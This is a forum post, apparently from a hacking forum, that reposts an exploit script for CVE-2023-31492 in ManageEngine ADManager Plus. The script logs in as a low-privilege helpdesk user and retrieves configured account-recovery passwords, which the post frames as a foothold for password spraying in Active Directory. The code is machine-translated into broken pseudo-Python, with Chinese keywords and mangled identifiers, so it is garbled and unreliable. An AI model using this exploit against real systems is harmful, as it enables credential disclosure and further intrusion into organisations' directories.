H

Manageengine Admanager Plus Build 7183-恢复密码披露

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Manageengine Admanager Plus Build 7183-恢复密码披露
#利用作者: Metin Yunus Kandemir
#供应商homepage3360 https://www.manageengine.com/
#软件link: https://www.manageengine.com/products/ad-manager/
#详细信息: https://docs.unsafeinline.com/0day/...seword-discloseword-disclosive-cve-2023-31492
#详细信息: https://github.com/passtheticket/vu...ger-recovery-passovery-password-disclosure.md
#版本: Admanager Plus Build 7183
#针对:构建7180测试
#CVE: CVE-2023-31492
导入argparse
导入请求
导入urllib3
导入系统
'''
恢复设置可帮助您配置与要恢复的域中对象有关的还原和回收选项。
恢复删除的用户帐户后,将定义的密码设置为用户帐户。
没有特权备份/恢复操作特权的HelpDesk技术员可以查看密码,然后妥协恢复在Active Directory环境中进行密码喷涂攻击的用户帐户。
'''
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
def getPass(目标,auth,用户,密码):
使用requests.session()为s:
如果auth.lower()=='admanager':
auth='admanager加身份验证'
数据={
'is_admp_pass_encrypted':'false',
'j_username':用户,
'j_password':密码,
'domainname': auth,
'authrule_name':'Anauthenticator'
}
#登录
url=target +'j_security_check?lokoutfromsso=true'
标题={
'用户代理:'Mozilla/5.0(Windows NT 10.0; RV:78.0)壁虎/20100101 Firefox/78.0',
'content-type':'应用程序/x-www-form-urlenCoded'
}
req=s.post(url,data=data,headers=标题,lashe_redirects=true,verify=false)
如果在req.request.headers:中'cookie'
打印('[+]身份验证成功!')
elif req.status_code==200:
打印('[ - ]登录名/密码无效!')
sys.exit(0)
其他:
打印('[ - ]出了问题!')
sys.exit(1)
#获取恢复密码
对于(1,6):
打印('[*]尝试获取domainid:%s!'%i的恢复密码
passurl=target +'configureRecoverySettings/get_pass?req=%7b%22 domainid%22%3A%22' + str(i) +'%22%7d'
passreq=s.get(passurl,标头=标题,laster_redirects=false,verify=false)
如果Passreq.Content:
打印(Passreq.Content)
def main():
arg=get_args()
target=arg.target
auth=arg.auth
用户=arg.user
密码=Arg.Password
getPass(目标,验证,用户,密码)
def get_args():
Parser=argparse.argumentparser(
epilog='example: exploit.py -t https://target/-a unsafe.local -u operator1 -p operator1')
parser.add_argument(' - t',' - target',必需=true,action='store',help='target url')
parser.add_argument(' - a'',' - auth',必需=true,action='store',
help='如果您具有应用程序用户的凭据,请键入Admanager。如果您具有域用户的凭据,请键入目标域的DNS名称。”)
parser.add_argument(' - u',' - user',必需=true,action='store')
parser.add_argument(' - p',' - password',必需=true,action='store')
args=parser.parse_args()
返回args
主要的()
 
后退
顶部